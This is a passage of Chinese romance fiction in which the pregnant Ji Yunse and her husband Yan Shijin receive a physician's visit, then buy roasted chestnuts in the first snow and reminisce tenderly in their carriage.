崇陶拿了一碟小点心过来,笑道: “姑娘这才三个月的身孕,老太太日日带着不重样的礼过来,可不得把嫁妆箱子都搬空了?” 纪云瑟觑了她一眼,嗔怪道: “别胡说!” 崇陶吐了吐舌,帮她倒了一盏茶,自去帮着陈嬷嬷收拾堆满一堂屋的礼盒。效猗小心将两样东西收好,倒是另有一番顾虑: “姑娘,老太太这般赏东西,太太那边会不会不高兴?” “不会的。” 纪云瑟想起这段时日,万氏亦是时常过来瞧她,跟她说一些怀孕的经验,悉心交待她该注意些什么。有时怕她闷,知道她和四弟妹、五弟妹相处得融洽些,会让两人过来陪她说话解闷,偶尔打打叶子牌。 其实,万氏有些贪财不假,但没有太多的心机,更没有坏心思,又极好哄,实则是个再和善不过的人。 正说着话,府医过来了给纪云瑟诊脉,晏时锦亦从京卫司衙门回来,自从妻子有孕后,他每日除了上朝和必要的公务需去官廨外,其余时候多半在府里陪着她,或是找府医和早已入驻府中的稳婆询问怀孕生产应注意的事项。 他脱下外氅后,先过来挨着她坐在贵妃榻上,握住了少女的另一只手,问道: “冷不冷?累不累?” 纪云瑟懒懒地顺势倚在他身上,摇了摇头,道: “只是每日这样待着,好闷!” 自发现有孕后,晏时锦便不让她私自出门,就算她要去看看客栈的生意都是由他陪着去,但时近年下,天气愈发冷,京卫司又有许多政务,故而已有许久没有出门。 她看了一眼晏时锦眉毛和眼睫上刚化下的水珠儿,眸光一亮,道: “下雪了?” 晏时锦顺手揽住她的腰,调整了一下坐姿,让她更好地靠着,道: “嗯,刚刚飘了些雪。” 府医收回了手,取下小软枕,笑道: “少夫人脉象平稳,胎象很好,只需正常饮食即可,不必额外服用安胎药。” “老夫这就去向老太太回禀。” 老太太最是看重这胎,日日要他过来给这位世子夫人诊脉,总是问他是否需要用些保胎药才放心一些。 晏时锦只问道: “夫人的身子如何?” “她昨晚起来了两回,还嚷着太热,是什么缘故?” 府医捋了捋须,笑道: “禀世子,这是正常的胎热所致,孕妇夜间燥热多是常事,无妨,少夫人可换薄一些的被褥,以舒适为准。” 晏时锦听了这话才放下心,从前他的确想要个孩子,成为他们之间脱不开的羁绊,但真正有了时,却又担心纪云瑟怀着孩子,会不会影响身体,是否有什么危险,如今,他更加在意的是妻子的身子能否承受得住。 又询问了一些孕妇如今的注意事项后,才颔首让府医离开。 纪云瑟倒是忽的叫住了府医,问道: “李太医,您能瞧出是男娃娃还是女娃娃么?” 府医顿了顿,想到那日他去回庄氏,老太太高兴之后,对在场之人的耳提面命,关于胎儿的性别不许外传,也知这位世子爷对此并不在意,便回道: “少夫人的月份尚浅,老夫未能瞧得真切。” 纪云瑟“嗯”了一声,从前的确想要个男宝宝,但真正的感觉到了腹中孩子的存在,又觉得只要孩子健康,是男是女并不重要。 府医收拾了药箱离开,纪云瑟看着窗棂上碧纱透出的扑扑簌簌的模糊雪影,突然直起身子,向身旁的男子问道: “你今日能陪我出去走走么?我想去街市逛一逛。” “若是雪下得大了,估摸着又不让我出门了。” 晏时锦见她动作利索,刚要劝她慢一些,待看到她慢慢黯下来的眼眸,立刻颔首道: “好。” 自有孕后,这姑娘的性情愈发敏感捉摸不定,有时不知哪句话或者做什么事便惹恼了她,可偏偏她如今恼了不是如从前一般直接生气炸毛,而是压着情绪,默默垂泪,这让人如何受得了? 晏时锦命陈嬷嬷着人去备好马车,亲自寻来厚厚的白狐狸毛斗篷给她罩上,将她裹得严严实实,只露出一张小脸,才牵着她的手往外走。 雪下得不大,细碎如盐粒,纷纷扬扬洒落,落地即化。 城东的街市热闹非凡,已近腊月,虽天气寒冷,仍有许多百姓人家开始置办年货,街边小贩的吆喝声此起彼伏,卖馄饨和馒头蒸饼这些热食的摊位热气腾腾,一片祥和的烟火气息。 朱四夫妇俩在京城做了十多年的生意,卖的炒栗子香味四溢,远近闻名。这日是今年的初雪,刚过了午后,朱四特地多炒了一锅,香气顺着风飘得老远。 不远处的街头停下一辆马车,先下来了一位衣饰华贵的年轻公子哥儿,日日见惯了各类往来之客的朱四夫妇俩不经意的一瞥,就被那男子俊朗的面容所惊艳。 只见他身着黑狐皮大氅,衬得原本白皙秀致的脸庞更显清俊,一双黑眸如墨玉般深邃,更难得的是自带矜贵气质,让人见之忘俗。 两人正默默感叹着这样容貌风度的人物有怎样的姑娘才配得上时,就见他细细查看了四周后,掀开车帘,小心翼翼地扶着一位身披白狐毛斗篷的女子下了马车。 再瞧那位姑娘,夫妇俩更加挪不开眼,她雪瓷般的肌肤陷在一圈雪白的绒毛中,几乎与漫天的雪色融为一体,但又在双颊染着薄薄的一层嫣粉,恰到好处的眉眼比例竟比那年画上的仙子还要精致几分,只怪自己没念过几句诗书,形容不出她的绝色容姿。 当这样一双壁人驻足在他们俩的摊前,朱四夫妇甚至忘了翻动锅中的栗子。 晏时锦见少女挪不动步子,握了握她的掌心,笑道: “想吃么?” 纪云瑟点点头: “小时候在扬州,到入冬时,外祖父常给我带糖炒栗子,和这个香味一样。” 朱四媳妇闻言,笑道: “姑娘是扬州人氏?那可真是有缘!我们也是扬州来的。” 她擦了擦手上的油,用干净的帕子拣了几颗递过去,道: “你先尝一尝,好吃再买!” 纪云瑟还未抬手,已被身旁的男子抢先接过,他轻轻吹了吹热气,将栗子壳剥开,递到她唇边: “小心烫。” 纪云瑟一口吃下,栗子的香气瞬间弥漫在唇齿之间,瞬间唤起了记忆深处的甜香,她抬头看向晏时锦,眸光晶亮: “和外祖父买的一模一样,就是这个味道。” 晏时锦细细替她擦了擦唇角,道: “好,那就多买一些。” 朱四媳妇将两人的情意缱绻看在眼里,仔细地用油纸包了一大包递过去,笑道: “姑娘得了这样会疼人的夫婿,真是好福气呢!” 晏时锦接过,付了银钱,将身旁的妻子搂紧,道: “是我好福气。” 雪落无声,街头的烟火气息却愈发浓烈,逛了一圈下来,少女摸着自己抡 圆的肚子,道: “咱们回去吧!” 晏时锦抬手划过她有些微凉的鼻尖,道: “是吃不动了,还是走不动了?” 纪云瑟嘟着小嘴瞪了他一眼: “那你是嫌我吃得多,还是嫌我胖了?” 晏时锦低低地笑了声,并不答话,将她整个人打横抱起,三步并两步,直接放入了一直跟在后边的马车上,见他深深的喘了几口气,少女叉着腰,嗔道: “我真有这么重?” 晏时锦将人儿轻轻揽入怀中,道: “你是我的全部家当,能不重么?” 纪云瑟笑了笑,突然想到一个曾经思虑过的问题,伸出一只手指轻轻戳着他硬朗的胸膛: “我记得,当初你极其不喜我,到底是何时对我动心的?” 晏时锦仔细想了想,握住她的手,指尖慢慢滑入指缝,与她十指相扣,道: “大约是祖母寿宴,你为了接近我,不惜翻入我的院子里的时候。” “或者,更早。” 在他第一次见她,如今日一般穿着一身雪白,翻窗而入,跌入他眼眸的同时,跌进了他的心里。 从那以后,他似乎就无法摆脱她的身影,只要她在身侧,他的目光,他的是心神就会不自觉被她牵引,随她而去。 “更早?” 纪云瑟笑了笑,嘟囔道: “那你可太虚伪了!” “装得那样清高,害我还以为,你不喜女子!” 晏时锦把她抱得更紧,挑了挑眉,轻笑道: “我若是不装,你怎会主动来招惹我?” 他落了一道吻在她光洁的额头上,抚过她耳侧的鬓发,道: “你呢?你又是何时对我动心的?” 纪云瑟歪着头想了想,唇角扬起一抹狡黠的笑: “偏不告诉你!” 马车缓缓前行,车内温热旖旎,车外寒风凛冽,飘落的雪粒被溢出的暖意化作细碎的水珠,蜿蜒滑落,落在官道上的两道车辙印上,如同他们来时的痕迹,深深浅浅,却始终一路同行。